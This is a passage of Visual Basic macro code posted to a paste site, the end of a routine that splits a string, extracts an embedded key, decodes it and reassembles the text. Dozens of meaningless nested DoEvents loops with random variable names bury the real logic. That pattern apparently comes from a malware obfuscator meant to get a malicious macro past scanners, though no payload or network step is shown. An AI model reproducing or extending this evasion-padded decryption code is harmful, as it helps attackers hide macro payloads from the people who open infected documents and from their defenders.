  898. Dim feIjYMGv As Integer
  899. For feIjYMGv = 0 To 1
  900. DoEvents
  901. Next feIjYMGv
  902. DecryptParts = DecryptParts & ESJYR
  903. Dim eZEbnycl As Integer
  904. For eZEbnycl = 0 To 8
  905. Dim NUIiUfdf As Integer
  906. For NUIiUfdf = 0 To 5
  907. DoEvents
  908. Next NUIiUfdf
  909. DoEvents
  910. Next eZEbnycl
  911. Dim shTbpCsi As Integer
  912. For shTbpCsi = 0 To 7
  913. DoEvents
  914. Next shTbpCsi
  915. strEncKey = vbNullString
  916. Dim RcbHqCoO As Integer
  917. For RcbHqCoO = 0 To 7
  918. Dim kfGOluwc As Integer
  919. For kfGOluwc = 0 To 8
  920. DoEvents
  921. Next kfGOluwc
  922. DoEvents
  923. Next RcbHqCoO
  924. Dim mGzcbAox As Integer
  925. For mGzcbAox = 0 To 9
  926. DoEvents
  927. Next mGzcbAox
  928. nLenght = Len(strText) - nCharSize
  929. Dim ffZhLAUb As Integer
  930. For ffZhLAUb = 0 To 1
  931. Dim FJTJoeJE As Integer
  932. For FJTJoeJE = 0 To 9
  933. DoEvents
  934. Next FJTJoeJE
  935. DoEvents
  936. Next ffZhLAUb
  937. Dim ohrYeEHy As Integer
  938. For ohrYeEHy = 0 To 4
  939. DoEvents
  940. Next ohrYeEHy
  941. nLeft = nLenght \ 2
  942. Dim bLHpiNmD As Integer
  943. For bLHpiNmD = 0 To 9
  944. Dim MeiZNZjs As Integer
  945. For MeiZNZjs = 0 To 7
  946. DoEvents
  947. Next MeiZNZjs
  948. DoEvents
  949. Next bLHpiNmD
  950. Dim ZDeSZZcZ As Integer
  951. For ZDeSZZcZ = 0 To 4
  952. DoEvents
  953. Next ZDeSZZcZ
  954. strLeft = Left(strText, nLeft)
  955. Dim MnwJSZGx As Integer
  956. For MnwJSZGx = 0 To 7
  957. Dim WbjbPMzL As Integer
  958. For WbjbPMzL = 0 To 4
  959. DoEvents
  960. Next WbjbPMzL
  961. DoEvents
  962. Next MnwJSZGx
  963. Dim OrLWsXrg As Integer
  964. For OrLWsXrg = 0 To 8
  965. DoEvents
  966. Next OrLWsXrg
  967. nRight = nLenght - nLeft
  968. Dim lnLzRSNw As Integer
  969. For lnLzRSNw = 0 To 8
  970. Dim dYEMoned As Integer
  971. For dYEMoned = 0 To 1
  972. DoEvents
  973. Next dYEMoned
  974. DoEvents
  975. Next lnLzRSNw
  976. Dim VXsobNdU As Integer
  977. For VXsobNdU = 0 To 8
  978. DoEvents
  979. Next VXsobNdU
  980. strRight = Right(strText, nRight)
  981. Dim WmKpDuNW As Integer
  982. For WmKpDuNW = 0 To 7
  983. Dim YWcBnTbD As Integer
  984. For YWcBnTbD = 0 To 8
  985. DoEvents
  986. Next YWcBnTbD
  987. DoEvents
  988. Next WmKpDuNW
  989. Dim lAaVYrTH As Integer
  990. For lAaVYrTH = 0 To 8
  991. DoEvents
  992. Next lAaVYrTH
  993. strEncKey = Mid(strText, nLeft + 1, nCharSize)
  994. Dim hrkomZKq As Integer
  995. For hrkomZKq = 0 To 7
  996. Dim UzxLlltj As Integer
  997. For UzxLlltj = 0 To 5
  998. DoEvents
  999. Next UzxLlltj
  1000. DoEvents
  1001. Next hrkomZKq
  1002. Dim uVcnjWka As Integer
  1003. For uVcnjWka = 0 To 7
  1004. DoEvents
  1005. Next uVcnjWka
  1006. strEncKey = ZrXYlHQ(strEncKey)
  1007. Dim JCjkRCJP As Integer
  1008. For JCjkRCJP = 0 To 4
  1009. Dim eupEbENt As Integer
  1010. For eupEbENt = 0 To 3
  1011. DoEvents
  1012. Next eupEbENt
  1013. DoEvents
  1014. Next JCjkRCJP
  1015. Dim EXPkgQDr As Integer
  1016. For EXPkgQDr = 0 To 7
  1017. DoEvents
  1018. Next EXPkgQDr
  1019. nEncKey = Val(Trim(strEncKey))
  1020. Dim GQakkhDM As Integer
  1021. For GQakkhDM = 0 To 9
  1022. Dim avmpMATJ As Integer
  1023. For avmpMATJ = 0 To 3
  1024. DoEvents
  1025. Next avmpMATJ
  1026. DoEvents
  1027. Next GQakkhDM
  1028. Dim eypDlEBt As Integer
  1029. For eypDlEBt = 0 To 8
  1030. DoEvents
  1031. Next eypDlEBt
  1032. strText = strLeft + strRight
  1033. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement